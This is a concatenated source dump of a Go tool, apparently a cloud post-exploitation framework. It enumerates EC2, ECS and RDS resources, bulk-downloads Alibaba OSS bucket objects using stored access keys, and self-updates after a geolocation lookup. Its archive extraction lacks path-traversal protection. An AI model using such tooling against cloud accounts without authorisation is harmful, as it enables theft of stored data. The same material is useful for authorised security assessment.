len(InstancesList) 112 | region := *j.RegionName 113 | Instance = DescribeInstances(region, running, specifiedInstanceID, "") 114 | DescribeInstancesOut = nil 115 | for _, i := range Instance { 116 | InstancesList = append(InstancesList, i) 117 | } 118 | instanceNum = len(InstancesList) - instanceNum 119 | if instanceNum != 0 { 120 | log.Warnf("在 %s 区域下找到 %d 个实例 (Found %d instances in %s region)", region, instanceNum, instanceNum, region) 121 | } 122 | } 123 | } else { 124 | InstancesList = DescribeInstances(region, running, specifiedInstanceID, "") 125 | instanceNum = len(InstancesList) 126 | if instanceNum != 0 { 127 | log.Warnf("在 %s 区域下找到 %d 个实例 (Found %d instances in %s region)", region, len(InstancesList), len(InstancesList), region) 128 | } 129 | } 130 | return InstancesList 131 | } 132 | 133 | func PrintInstancesListRealTime(region string, running bool, specifiedInstanceID string, ec2LsAllRegions bool) { 134 | InstancesList := ReturnInstancesList(region, running, specifiedInstanceID, ec2LsAllRegions) 135 | var data = make([][]string, len(InstancesList)) 136 | for i, o := range InstancesList { 137 | if specifiedInstanceID == "all" { 138 | SN := strconv.Itoa(i + 1) 139 | data[i] = []string{SN, o.InstanceId, o.InstanceName, o.OSName, o.OSType, o.Status, o.PrivateIpAddress, o.PublicIpAddress, o.RegionId} 140 | } else if specifiedInstanceID == o.InstanceId { 141 | SN := strconv.Itoa(i + 1) 142 | data[i] = []string{SN, o.InstanceId, o.InstanceName, o.OSName, o.OSType, o.Status, o.PrivateIpAddress, o.PublicIpAddress, o.RegionId} 143 | } 144 | } 145 | var td = cloud.TableData{Header: header, Body: data} 146 | if len(data) == 0 { 147 | log.Info("未发现 EC2 资源,可能是因为当前访问密钥权限不够 (No EC2 instances found, Probably because the current Access Key do not have enough permissions)") 148 | } else { 149 | Caption := "EC2 资源 (EC2 resources)" 150 | cloud.PrintTable(td, Caption) 151 | util.WriteTimestamp(TimestampType) 152 | } 153 | cmdutil.WriteCacheFile(td, "aws", "ec2", region, specifiedInstanceID) 154 | } 155 | 156 | func PrintInstancesListHistory(region string, running bool, specifiedInstanceID string) { 157 | cmdutil.PrintECSCacheFile(header, region, specifiedInstanceID, "aws", "ec2", running) 158 | } 159 | 160 | func PrintInstancesList(region string, running bool, specifiedInstanceID string, ec2FlushCache bool, ec2LsAllRegions bool) { 161 | if ec2FlushCache { 162 | PrintInstancesListRealTime(region, running, specifiedInstanceID, ec2LsAllRegions) 163 | } else { 164 | oldTimestamp := util.ReadTimestamp(TimestampType) 165 | if oldTimestamp == 0 { 166 | PrintInstancesListRealTime(region, running, specifiedInstanceID, ec2LsAllRegions) 167 | } else if util.IsFlushCache(oldTimestamp) { 168 | PrintInstancesListRealTime(region, running, specifiedInstanceID, ec2LsAllRegions) 169 | } else { 170 | util.TimeDifference(oldTimestamp) 171 | PrintInstancesListHistory(region, running, specifiedInstanceID) 172 | } 173 | } 174 | } 175 | -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiiam/client.go: -------------------------------------------------------------------------------- 1 | package huaweiiam 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/huaweicloud/huaweicloud-sdk-go-v3/core/auth/basic" 7 | "github.com/huaweicloud/huaweicloud-sdk-go-v3/core/auth/global" 8 | ecs "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/ecs/v2" 9 | ecsModel "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/ecs/v2/model" 10 | ecsRegion "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/ecs/v2/region" 11 | iam "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3" 12 | iamModel "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3/model" 13 | iamRegion "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/iam/v3/region" 14 | rds "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/rds/v3" 15 | rdsModel "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/rds/v3/model" 16 | rdsRegion "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/rds/v3/region" 17 | log "github.com/sirupsen/logrus" 18 | "github.com/teamssix/cf/pkg/util/cmdutil" 19 | ) 20 | 21 | func IAMClient() *iam.IamClient { 22 | huaweiConfig := cmdutil.GetConfig("huawei") 23 | if huaweiConfig.AccessKeyId == "" { 24 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 25 | os.Exit(0) 26 | return nil 27 | } else { 28 | // 判断是否已经配置了STS Token 29 | if huaweiConfig.STSToken == "" { 30 | auth := global.NewCredentialsBuilder(). 31 | WithAk(huaweiConfig.AccessKeyId). 32 | WithSk(huaweiConfig.AccessKeySecret). 33 | Build() 34 | 35 | client := iam.NewIamClient( 36 | iam.IamClientBuilder(). 37 | WithRegion(iamRegion.ValueOf("cn-east-3")). 38 | WithCredential(auth). 39 | Build()) 40 | 41 | showPermanentAccessKeyRequestContent := &iamModel.ShowPermanentAccessKeyRequest{} 42 | showPermanentAccessKeyRequestContent.AccessKey = huaweiConfig.AccessKeyId 43 | showPermanentAccessKeyRequestResponse, err := client.ShowPermanentAccessKey(showPermanentAccessKeyRequestContent) 44 | if err != nil { 45 | log.Traceln(err) 46 | } else if showPermanentAccessKeyRequestResponse.Credential.Status == "active" { 47 | log.Traceln("IAM Client 连接成功 (IAM Client connection successful)") 48 | } 49 | return client 50 | } else { 51 | auth := global.NewCredentialsBuilder(). 52 | WithAk(huaweiConfig.AccessKeyId). 53 | WithSk(huaweiConfig.AccessKeySecret). 54 | WithSecurityToken(huaweiConfig.STSToken). 55 | Build() 56 | 57 | client := iam.NewIamClient( 58 | iam.IamClientBuilder(). 59 | WithRegion(iamRegion.ValueOf("cn-east-3")). 60 | WithCredential(auth). 61 | Build()) 62 | 63 | showPermanentAccessKeyRequestContent := &iamModel.ShowPermanentAccessKeyRequest{} 64 | showPermanentAccessKeyRequestContent.AccessKey = huaweiConfig.AccessKeyId 65 | showPermanentAccessKeyRequestResponse, err := client.ShowPermanentAccessKey(showPermanentAccessKeyRequestContent) 66 | if err != nil { 67 | log.Traceln(err) 68 | } else if showPermanentAccessKeyRequestResponse.Credential.Status == "active" { 69 | log.Traceln("IAM Client 连接成功 (IAM Client connection successful)") 70 | } 71 | return client 72 | } 73 | } 74 | } 75 | 76 | func ECSClient() *ecs.EcsClient { 77 | huaweiConfig := cmdutil.GetConfig("huawei") 78 | if huaweiConfig.AccessKeyId == "" { 79 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 80 | os.Exit(0) 81 | return nil 82 | } else { 83 | // 判断是否已经配置了STS Token 84 | if huaweiConfig.STSToken == "" { 85 | auth := basic.NewCredentialsBuilder(). 86 | WithAk(huaweiConfig.AccessKeyId). 87 | WithSk(huaweiConfig.AccessKeySecret). 88 | Build() 89 | 90 | client := ecs.NewEcsClient( 91 | ecs.EcsClientBuilder(). 92 | WithRegion(ecsRegion.ValueOf("cn-east-3")). 93 | WithCredential(auth). 94 | Build()) 95 | listServersDetailsRequestContent := &ecsModel.ListServersDetailsRequest{} 96 | _, err := client.ListServersDetails(listServersDetailsRequestContent) 97 | if err != nil { 98 | log.Traceln(err) 99 | } else { 100 | log.Traceln("ECS Client 连接成功 (ECS Client connection successful)") 101 | } 102 | return client 103 | } else { 104 | auth := basic.NewCredentialsBuilder(). 105 | WithAk(huaweiConfig.AccessKeyId). 106 | WithSk(huaweiConfig.AccessKeySecret). 107 | WithSecurityToken(huaweiConfig.STSToken). 108 | Build() 109 | 110 | client := ecs.NewEcsClient( 111 | ecs.EcsClientBuilder(). 112 | WithRegion(ecsRegion.ValueOf("cn-east-3")). 113 | WithCredential(auth). 114 | Build()) 115 | listServersDetailsRequestContent := &ecsModel.ListServersDetailsRequest{} 116 | _, err := client.ListServersDetails(listServersDetailsRequestContent) 117 | if err != nil { 118 | log.Traceln(err) 119 | } else { 120 | log.Traceln("ECS Client 连接成功 (ECS Client connection successful)") 121 | } 122 | return client 123 | } 124 | } 125 | } 126 | 127 | func RDSClient() *rds.RdsClient { 128 | huaweiConfig := cmdutil.GetConfig("huawei") 129 | if huaweiConfig.AccessKeyId == "" { 130 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 131 | os.Exit(0) 132 | return nil 133 | } else { 134 | // 判断是否已经配置了STS Token 135 | if huaweiConfig.STSToken == "" { 136 | auth := basic.NewCredentialsBuilder(). 137 | WithAk(huaweiConfig.AccessKeyId). 138 | WithSk(huaweiConfig.AccessKeySecret). 139 | Build() 140 | 141 | client := rds.NewRdsClient( 142 | rds.RdsClientBuilder(). 143 | WithRegion(rdsRegion.ValueOf("cn-east-3")). 144 | WithCredential(auth). 145 | Build()) 146 | listInstancesRequestContent := &rdsModel.ListInstancesRequest{} 147 | _, err := client.ListInstances(listInstancesRequestContent) 148 | if err != nil { 149 | log.Traceln(err) 150 | } else { 151 | log.Traceln("RDS Client 连接成功 (RDS Client connection successful)") 152 | } 153 | return client 154 | } else { 155 | auth := basic.NewCredentialsBuilder(). 156 | WithAk(huaweiConfig.AccessKeyId). 157 | WithSk(huaweiConfig.AccessKeySecret). 158 | WithSecurityToken(huaweiConfig.STSToken). 159 | Build() 160 | 161 | client := rds.NewRdsClient( 162 | rds.RdsClientBuilder(). 163 | WithRegion(rdsRegion.ValueOf("cn-east-3")). 164 | WithCredential(auth). 165 | Build()) 166 | listInstancesRequestContent := &rdsModel.ListInstancesRequest{} 167 | _, err := client.ListInstances(listInstancesRequestContent) 168 | if err != nil { 169 | log.Traceln(err) 170 | } else { 171 | log.Traceln("RDS Client 连接成功 (RDS Client connection successful)") 172 | } 173 | return client 174 | } 175 | } 176 | } 177 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/alioss/ossget.go: -------------------------------------------------------------------------------- 1 | package alioss 2 | 3 | import ( 4 | "fmt" 5 | "github.com/AlecAivazis/survey/v2" 6 | "github.com/teamssix/cf/pkg/util/errutil" 7 | "github.com/teamssix/cf/pkg/util/pubutil" 8 | "io" 9 | "os" 10 | "path/filepath" 11 | "sort" 12 | 13 | "github.com/schollz/progressbar/v3" 14 | 15 | log "github.com/sirupsen/logrus" 16 | ) 17 | 18 | func getObject(bucketName string, objectKey string, outputPath string, ossLsRegion string) { 19 | if objectKey[len(objectKey)-1:] == "/" { 20 | pubutil.CreateFolder(returnBucketFileName(outputPath, bucketName, objectKey)) 21 | } else { 22 | log.Infof("正在下载 %s 存储桶里的 %s 对象 (Downloading %s objects from %s bucket)", bucketName, objectKey, bucketName, objectKey) 23 | var ( 24 | objectSize int64 25 | region string 26 | ) 27 | OSSCollector := &OSSCollector{} 28 | Buckets, _ := OSSCollector.ListBuckets(bucketName, ossLsRegion) 29 | for _, v := range Buckets { 30 | if v.Name == bucketName { 31 | region = v.Region 32 | } 33 | } 34 | fd, body, oserr, outputFile := OSSCollector.ReturnBucket(bucketName, objectKey, outputPath, region) 35 | _, objects := OSSCollector.ListObjects(bucketName, "all", ossLsRegion) 36 | for _, obj := range objects { 37 | if objectKey == obj.Key { 38 | objectSize = obj.Size 39 | } 40 | } 41 | bar := returnBar(objectSize) 42 | io.Copy(io.MultiWriter(fd, bar), body) 43 | body.Close() 44 | defer fd.Close() 45 | if oserr == nil { 46 | log.Infof("对象已被保存到 %s (The object has been saved to %s)", outputFile, outputFile) 47 | } 48 | } 49 | } 50 | 51 | func DownloadAllObjects(bucketName string, outputPath string, ossLsRegion string, ossDownloadNumber string) { 52 | var ( 53 | objectKey string 54 | region string 55 | objectList []string 56 | ) 57 | OSSCollector := &OSSCollector{} 58 | objectList = append(objectList, "all") 59 | Buckets, _ := OSSCollector.ListBuckets(bucketName, ossLsRegion) 60 | for _, v := range Buckets { 61 | if v.Name == bucketName { 62 | region = v.Region 63 | } 64 | } 65 | _, objects := OSSCollector.ListObjects(bucketName, ossDownloadNumber, ossLsRegion) 66 | if len(objects) == 0 { 67 | log.Warnf("在 %s 存储桶中没有发现对象 (No object found in %s bucket)", bucketName, bucketName) 68 | } else { 69 | for _, o := range objects { 70 | objectList = append(objectList, o.Key) 71 | } 72 | objectList = append(objectList, "exit") 73 | sort.Strings(objectList) 74 | prompt := &survey.Select{ 75 | Message: "选择一个对象 (Choose a object): ", 76 | Options: objectList, 77 | } 78 | survey.AskOne(prompt, &objectKey) 79 | if objectKey == "all" { 80 | log.Infof("正在下载 %s 存储桶内的所有对象…… (Downloading all objects in bucket %s...)", bucketName, bucketName) 81 | bar := returnBar((int64(len(objectList) - 2))) 82 | for _, j := range objects { 83 | if j.Key[len(j.Key)-1:] == "/" { 84 | bar.Add(1) 85 | pubutil.CreateFolder(returnBucketFileName(outputPath, bucketName, j.Key)) 86 | } else { 87 | bar.Add(1) 88 | fd, body, _, _ := OSSCollector.ReturnBucket(bucketName, j.Key, outputPath, region) 89 | io.Copy(fd, body) 90 | body.Close() 91 | defer fd.Close() 92 | } 93 | } 94 | log.Infof("对象已被保存到 %s 目录下 (The object has been saved to the %s directory)", outputPath, outputPath) 95 | } else if objectKey == "exit" { 96 | os.Exit(0) 97 | } else { 98 | if objectKey[len(objectKey)-1:] == "/" { 99 | pubutil.CreateFolder(returnBucketFileName(outputPath, bucketName, objectKey)) 100 | } else { 101 | getObject(bucketName, objectKey, outputPath, ossLsRegion) 102 | } 103 | } 104 | } 105 | } 106 | 107 | func DownloadObjects(bucketName string, objectKey string, outputPath string, ossLsRegion string, ossDownloadNumber string) { 108 | if outputPath == "./result" { 109 | pubutil.CreateFolder("./result") 110 | } 111 | if bucketName == "all" { 112 | var bucketList []string 113 | buckets := ReturnBucketList(bucketName, ossLsRegion) 114 | if len(buckets) == 0 { 115 | log.Info("没发现存储桶 (No Buckets Found)") 116 | } else { 117 | bucketList = append(bucketList, "all") 118 | for _, v := range buckets { 119 | bucketList = append(bucketList, v) 120 | } 121 | bucketList = append(bucketList, "exit") 122 | var SelectBucketName string 123 | sort.Strings(bucketList) 124 | prompt := &survey.Select{ 125 | Message: "选择一个存储桶 (Choose a bucket): ", 126 | Options: bucketList, 127 | } 128 | err := survey.AskOne(prompt, &SelectBucketName) 129 | errutil.HandleErr(err) 130 | if SelectBucketName == "all" { 131 | for _, v := range buckets { 132 | if objectKey == "all" { 133 | DownloadAllObjects(v, outputPath, ossLsRegion, ossDownloadNumber) 134 | } else { 135 | getObject(v, objectKey, outputPath, ossLsRegion) 136 | } 137 | } 138 | } else if SelectBucketName == "exit" { 139 | os.Exit(0) 140 | } else { 141 | if objectKey == "all" { 142 | DownloadAllObjects(SelectBucketName, outputPath, ossLsRegion, ossDownloadNumber) 143 | } else { 144 | getObject(SelectBucketName, objectKey, outputPath, ossLsRegion) 145 | } 146 | } 147 | } 148 | } else { 149 | if objectKey == "all" { 150 | DownloadAllObjects(bucketName, outputPath, ossLsRegion, ossDownloadNumber) 151 | } else { 152 | getObject(bucketName, objectKey, outputPath, ossLsRegion) 153 | } 154 | } 155 | } 156 | 157 | func (o *OSSCollector) ReturnBucket(bucketName string, objectKey string, outputPath string, region string) (*os.File, io.ReadCloser, error, string) { 158 | o.OSSClient(region) 159 | bucket, err := o.Client.Bucket(bucketName) 160 | errutil.HandleErr(err) 161 | outputFile := returnBucketFileName(outputPath, bucketName, objectKey) 162 | fd, oserr := os.OpenFile(outputFile, os.O_WRONLY|os.O_CREATE, 0660) 163 | errutil.HandleErr(oserr) 164 | body, err := bucket.GetObject(objectKey) 165 | errutil.HandleErr(err) 166 | return fd, body, oserr, outputFile 167 | } 168 | 169 | func returnBar(replen int64) *progressbar.ProgressBar { 170 | bar := progressbar.NewOptions64(replen, 171 | progressbar.OptionSetWriter(os.Stderr), 172 | progressbar.OptionEnableColorCodes(true), 173 | progressbar.OptionShowBytes(false), 174 | progressbar.OptionShowCount(), 175 | progressbar.OptionSetWidth(50), 176 | progressbar.OptionSetDescription("Downloading..."), 177 | progressbar.OptionOnCompletion(func() { 178 | fmt.Println() 179 | }), 180 | progressbar.OptionSetTheme(progressbar.Theme{ 181 | Saucer: "[green]=[reset]", 182 | SaucerHead: "[green]>[reset]", 183 | SaucerPadding: " ", 184 | BarStart: "[", 185 | BarEnd: "]", 186 | })) 187 | return bar 188 | } 189 | 190 | func returnBucketFileName(outputPath string, bucketName string, objectName string) string { 191 | outputBucketFile := filepath.Join(outputPath, bucketName) 192 | pubutil.CreateFolder(outputBucketFile) 193 | outputFileName := filepath.Join(outputBucketFile, objectName) 194 | return outputFileName 195 | } 196 | -------------------------------------------------------------------------------- /pkg/util/cmdutil/upgrade.go: -------------------------------------------------------------------------------- 1 | package cmdutil 2 | 3 | import ( 4 | "archive/tar" 5 | "archive/zip" 6 | "compress/gzip" 7 | "fmt" 8 | "github.com/schollz/progressbar/v3" 9 | log "github.com/sirupsen/logrus" 10 | "github.com/teamssix/cf/pkg/util" 11 | "github.com/teamssix/cf/pkg/util/errutil" 12 | "io" 13 | "io/ioutil" 14 | "net/http" 15 | "os" 16 | "path/filepath" 17 | "runtime" 18 | "strings" 19 | ) 20 | 21 | var cfWorkDir, _ = filepath.Abs(filepath.Dir(os.Args[0])) 22 | 23 | func Upgrade(version string) { 24 | var ( 25 | downloadURL string 26 | fileName string 27 | ) 28 | check, newVersion, err := util.CheckVersion(version) 29 | if check { 30 | log.Infof("当前版本为 %s ,发现 %s 新版本,正在下载新版本 (The current version is %s , Found %s new version, downloading new version now)", version, newVersion, version, newVersion) 31 | if runtime.GOOS == "windows" { 32 | fileName = fmt.Sprintf("cf_%s_%s_%s.zip", newVersion, runtime.GOOS, runtime.GOARCH) 33 | } else { 34 | fileName = fmt.Sprintf("cf_%s_%s_%s.tar.gz", newVersion, runtime.GOOS, runtime.GOARCH) 35 | } 36 | if isMainLand() { 37 | downloadURL = fmt.Sprintf("https://ghproxy.com/github.com/teamssix/cf/releases/download/%s/%s", newVersion, fileName) 38 | } else { 39 | downloadURL = fmt.Sprintf("https://github.com/teamssix/cf/releases/download/%s/%s", newVersion, fileName) 40 | } 41 | path, _ := os.Executable() 42 | _, oldFileName := filepath.Split(path) 43 | oldBakFileName := cfWorkDir + "/" + oldFileName + ".bak" 44 | downloadFile(downloadURL, fileName) 45 | err := os.Rename(cfWorkDir+"/"+oldFileName, oldBakFileName) 46 | errutil.HandleErr(err) 47 | unzipFile(fileName) 48 | err = os.Remove(fileName) 49 | errutil.HandleErr(err) 50 | log.Infof("更新完成,历史版本已被重命名为 %s (The update is complete and the previous version has been renamed to %s)", oldFileName+".bak", oldFileName+".bak") 51 | } else if err == nil { 52 | log.Infof("当前 %s 版本为最新版本,无需升级 (The current %s version is the latest version, no need to upgrade)", version, version) 53 | } 54 | } 55 | 56 | func downloadFile(downloadURL string, fileName string) { 57 | log.Debugln("下载地址 (download url): " + downloadURL) 58 | req, err := http.NewRequest("GET", downloadURL, nil) 59 | errutil.HandleErr(err) 60 | resp, err := http.DefaultClient.Do(req) 61 | errutil.HandleErr(err) 62 | defer resp.Body.Close() 63 | f, _ := os.OpenFile(fileName, os.O_CREATE|os.O_WRONLY, 0644) 64 | defer f.Close() 65 | bar := progressbar.NewOptions64(resp.ContentLength, 66 | progressbar.OptionSetWriter(os.Stderr), 67 | progressbar.OptionEnableColorCodes(true), 68 | progressbar.OptionShowBytes(true), 69 | progressbar.OptionShowCount(), 70 | progressbar.OptionSetWidth(50), 71 | progressbar.OptionSetDescription("Downloading..."), 72 | progressbar.OptionOnCompletion(func() { 73 | fmt.Println() 74 | }), 75 | progressbar.OptionSetTheme(progressbar.Theme{ 76 | Saucer: "[green]=[reset]", 77 | SaucerHead: "[green]>[reset]", 78 | SaucerPadding: " ", 79 | BarStart: "[", 80 | BarEnd: "]", 81 | })) 82 | io.Copy(io.MultiWriter(f, bar), resp.Body) 83 | log.Debugln("下载完成 (Download completed)") 84 | } 85 | 86 | func unzipFile(fileName string) { 87 | log.Debugf("正在解压 %s 文件 (Unpacking %s file now)", fileName, fileName) 88 | cacheFolder := ReturnCacheDict() 89 | if runtime.GOOS == "windows" { 90 | archive, err := zip.OpenReader(fileName) 91 | if err != nil { 92 | errutil.HandleErr(err) 93 | } 94 | defer archive.Close() 95 | for _, f := range archive.File { 96 | filePath := filepath.Join(cacheFolder, f.Name) 97 | if !strings.HasPrefix(filePath, filepath.Clean(cacheFolder)+string(os.PathSeparator)) { 98 | log.Errorln("无效的文件路径 (invalid file path)") 99 | } 100 | if f.FileInfo().IsDir() { 101 | os.MkdirAll(filePath, os.ModePerm) 102 | } 103 | 104 | if err = os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil { 105 | errutil.HandleErr(err) 106 | } 107 | dstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode()) 108 | if err != nil { 109 | errutil.HandleErr(err) 110 | } 111 | fileInArchive, err := f.Open() 112 | if err != nil { 113 | errutil.HandleErr(err) 114 | } 115 | if _, err := io.Copy(dstFile, fileInArchive); err != nil { 116 | errutil.HandleErr(err) 117 | } 118 | dstFile.Close() 119 | fileInArchive.Close() 120 | } 121 | oldCfPath := filepath.Join(cacheFolder, "cf.exe") 122 | newCfPath := filepath.Join(cfWorkDir, "cf.exe") 123 | log.Tracef("将 %s 文件移动到 %s (Move the %s file to %s)", oldCfPath, newCfPath, oldCfPath, newCfPath) 124 | moveFile(oldCfPath, newCfPath) 125 | } else { 126 | gzipStream, err := os.Open(fileName) 127 | errutil.HandleErr(err) 128 | defer gzipStream.Close() 129 | uncompressedStream, err := gzip.NewReader(gzipStream) 130 | errutil.HandleErr(err) 131 | defer uncompressedStream.Close() 132 | tarReader := tar.NewReader(uncompressedStream) 133 | for { 134 | header, err := tarReader.Next() 135 | if err == io.EOF { 136 | break 137 | } 138 | errutil.HandleErr(err) 139 | if err != nil { 140 | if err == io.EOF { 141 | break 142 | } 143 | } 144 | subFileName := filepath.Join(cacheFolder, header.Name) 145 | file, err := createFile(subFileName) 146 | errutil.HandleErr(err) 147 | io.Copy(file, tarReader) 148 | } 149 | log.Debugln("解压完成 (Unzip completed)") 150 | oldCfPath := filepath.Join(cacheFolder, "cf") 151 | newCfPath := filepath.Join(cfWorkDir, "cf") 152 | log.Tracef("将 %s 文件移动到 %s (Move the %s file to %s)", oldCfPath, newCfPath, oldCfPath, newCfPath) 153 | moveFile(oldCfPath, newCfPath) 154 | log.Traceln("为 ./cf 文件赋予可执行权限 (Grant execute permission to ./cf file)") 155 | f, err := os.Open(newCfPath) 156 | errutil.HandleErr(err) 157 | defer f.Close() 158 | err = f.Chmod(0755) 159 | errutil.HandleErr(err) 160 | } 161 | } 162 | 163 | func createFile(name string) (*os.File, error) { 164 | err := os.MkdirAll(string([]rune(name)[0:strings.LastIndex(name, "/")]), 0755) 165 | if err != nil { 166 | return nil, err 167 | } 168 | return os.Create(name) 169 | } 170 | 171 | func isMainLand() bool { 172 | client := &http.Client{} 173 | req, _ := http.NewRequest("GET", "http://cip.cc", nil) 174 | req.Header.Add("User-Agent", "curl/7.64.1") 175 | resp, _ := client.Do(req) 176 | body, _ := ioutil.ReadAll(resp.Body) 177 | address := strings.Split(string(body), "\n")[1] 178 | log.Tracef("当前地址为 (The current address is): %s", strings.Split(address, ":")[1]) 179 | if isRegions(address) && strings.Contains(address, "中国") { 180 | return true 181 | } else { 182 | return false 183 | } 184 | } 185 | 186 | func isRegions(address string) bool { 187 | var ( 188 | cityList = [3]string{"香港", "澳门", "台湾"} 189 | num = 0 190 | ) 191 | for _, v := range cityList { 192 | if strings.Contains(address, v) { 193 | num = num + 1 194 | } 195 | } 196 | if num == 0 { 197 | return true 198 | } else { 199 | return false 200 | } 201 | } 202 | 203 | func moveFile(oldCfPath string, newCfPath string) { 204 | oldByte, err := ioutil.ReadFile(oldCfPath) 205 | errutil.HandleErr(err) 206 | err = ioutil.WriteFile(newCfPath, oldByte, 0644) 207 | errutil.HandleErr(err) 208 | err = os.Remove(oldCfPath) 209 | errutil.HandleErr(err) 210 | } 211 | -------------------------------------------------------------------------------- /pkg/util/database/config.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "github.com/AlecAivazis/survey/v2" 5 | log "github.com/sirupsen/logrus" 6 | "github.com/teamssix/cf/pkg/cloud" 7 | "github.com/teamssix/cf/pkg/util/errutil" 8 | "github.com/teamssix/cf/pkg/util/pubutil" 9 | "os" 10 | "sort" 11 | "strings" 12 | ) 13 | 14 | func InsertConfig(config cloud.Config) { 15 | if config.AccessKeyId == "" { 16 | log.Warnln("当访问密钥 ID 为空的时候将不会被存储 (When the Access Key ID is empty it will not be stored.)") 17 | } else { 18 | var configAccessKeyIDList []string 19 | configList := SelectConfig() 20 | for _, v := range configList { 21 | configAccessKeyIDList = append(configAccessKeyIDList, v.AccessKeyId) 22 | } 23 | sort.Strings(configAccessKeyIDList) 24 | index := sort.SearchStrings(configAccessKeyIDList, config.AccessKeyId) 25 | 26 | if index < len(configAccessKeyIDList) && configAccessKeyIDList[index] == config.AccessKeyId { 27 | log.Warnf("已配置过 %s 访问密钥 (The %s Access Key has been configured.)", pubutil.MaskAK(config.AccessKeyId), pubutil.MaskAK(config.AccessKeyId)) 28 | } else { 29 | CacheDb.Create(&config) 30 | log.Infof("%s 访问密钥配置完成 (%s Access Key configuration complete.)", pubutil.MaskAK(config.AccessKeyId), pubutil.MaskAK(config.AccessKeyId)) 31 | } 32 | } 33 | } 34 | 35 | func DeleteConfig() { 36 | var ( 37 | config string 38 | configListId []string 39 | configList []cloud.Config 40 | ) 41 | configList = SelectConfig() 42 | if len(configList) > 0 { 43 | configListId = append(configListId, "全部访问密钥 (All access keys)") 44 | for _, v := range configList { 45 | configListId = append(configListId, v.Provider+"\t"+v.Alias+"\t"+v.AccessKeyId) 46 | } 47 | configListId = append(configListId, "退出 (Exit)") 48 | sort.Strings(configListId) 49 | prompt := &survey.Select{ 50 | Message: "请选择您要删除的访问密钥 (Please select the access key you want to switch): ", 51 | Options: configListId, 52 | } 53 | err := survey.AskOne(prompt, &config) 54 | errutil.HandleErr(err) 55 | if config == "全部访问密钥 (All access keys)" { 56 | var isTrue bool 57 | prompt := &survey.Confirm{ 58 | Message: "此操作不可逆,您确定要删除全部的访问密钥吗?(This operation is not reversible, are you sure you want to delete all access keys?)", 59 | Default: false, 60 | } 61 | err := survey.AskOne(prompt, &isTrue) 62 | errutil.HandleErr(err) 63 | if isTrue { 64 | CacheDb.Where("in_use = ?", true).Delete(&configList) 65 | CacheDb.Where("in_use = ?", false).Delete(&configList) 66 | log.Infoln("已删除所有访问密钥 (All access keys have been deleted.)") 67 | } else { 68 | log.Infoln("已取消删除所有访问密钥 (Canceled delete all access keys.)") 69 | } 70 | } else if config == "退出 (Exit)" { 71 | os.Exit(0) 72 | } else { 73 | var isTrue bool 74 | prompt := &survey.Confirm{ 75 | Message: "此操作不可逆,您确定要删除选中的访问密钥吗?(This operation is not reversible, are you sure you want to delete the selected access key?)", 76 | Default: false, 77 | } 78 | err := survey.AskOne(prompt, &isTrue) 79 | errutil.HandleErr(err) 80 | if isTrue { 81 | accessKeyId := strings.Split(config, "\t")[2] 82 | CacheDb.Where("access_key_id = ?", accessKeyId).Delete(&configList) 83 | log.Infof("%s 访问密钥已删除 (%s Access Key deleted)", pubutil.MaskAK(accessKeyId), pubutil.MaskAK(accessKeyId)) 84 | } else { 85 | log.Infoln("已取消删除选中的访问密钥 (Canceled delete the selected access key.)") 86 | } 87 | } 88 | } else { 89 | log.Infoln("未找到任何访问密钥 (No access key found)") 90 | } 91 | } 92 | 93 | func UpdateConfigInUse(config cloud.Config) { 94 | CacheDb.Model(&cloud.Config{}).Where("provider = ?", config.Provider).Update("InUse", false) 95 | CacheDb.Model(&cloud.Config{}).Where("access_key_id = ?", config.AccessKeyId).Update("InUse", true) 96 | } 97 | 98 | func UpdateConfigSwitch(provider string) { 99 | var ( 100 | config string 101 | configListId []string 102 | configList []cloud.Config 103 | ) 104 | CacheDb.Where("provider = ?", provider).Find(&configList) 105 | if len(configList) > 0 { 106 | for _, v := range configList { 107 | configListId = append(configListId, v.Provider+"\t"+v.Alias+"\t"+v.AccessKeyId) 108 | } 109 | sort.Strings(configListId) 110 | prompt := &survey.Select{ 111 | Message: "请选择您要切换的访问密钥 (Please select the access key you want to switch): ", 112 | Options: configListId, 113 | } 114 | err := survey.AskOne(prompt, &config) 115 | errutil.HandleErr(err) 116 | accessKeyID := strings.Split(config, "\t")[2] 117 | CacheDb.Model(&cloud.Config{}).Where("provider = ?", provider).Update("InUse", false) 118 | CacheDb.Model(&cloud.Config{}).Where("access_key_id = ?", accessKeyID).Update("InUse", true) 119 | log.Infof("访问密钥已切换至 %s (Access Key have been switched to %s )", pubutil.MaskAK(accessKeyID), pubutil.MaskAK(accessKeyID)) 120 | } else { 121 | log.Infof("未找到 %s 云服务商的访问密钥 (access keys for %s provider not found)", provider, provider) 122 | } 123 | } 124 | 125 | func UpdateConfigModify() { 126 | var ( 127 | config string 128 | selectColumn string 129 | mfValue string 130 | configListId []string 131 | configList []cloud.Config 132 | selectColumnList = []string{"别名 (Alias)", "访问密钥 ID (Access Key Id)", "访问密钥密钥 (Secret Key)", "临时访问密钥令牌 (STS Token)"} 133 | ) 134 | configList = SelectConfig() 135 | if len(configList) > 0 { 136 | for _, v := range configList { 137 | configListId = append(configListId, v.Provider+"\t"+v.Alias+"\t"+v.AccessKeyId) 138 | } 139 | sort.Strings(configListId) 140 | prompt1 := &survey.Select{ 141 | Message: "请选择您要修改的访问密钥 (Please select the access key you want to modify): ", 142 | Options: configListId, 143 | } 144 | err := survey.AskOne(prompt1, &config) 145 | errutil.HandleErr(err) 146 | configSplit := strings.Split(config, "\t") 147 | sort.Strings(selectColumnList) 148 | prompt2 := &survey.Select{ 149 | Message: "请选择您要修改的属性 (Please select the type you want to modify): ", 150 | Options: selectColumnList, 151 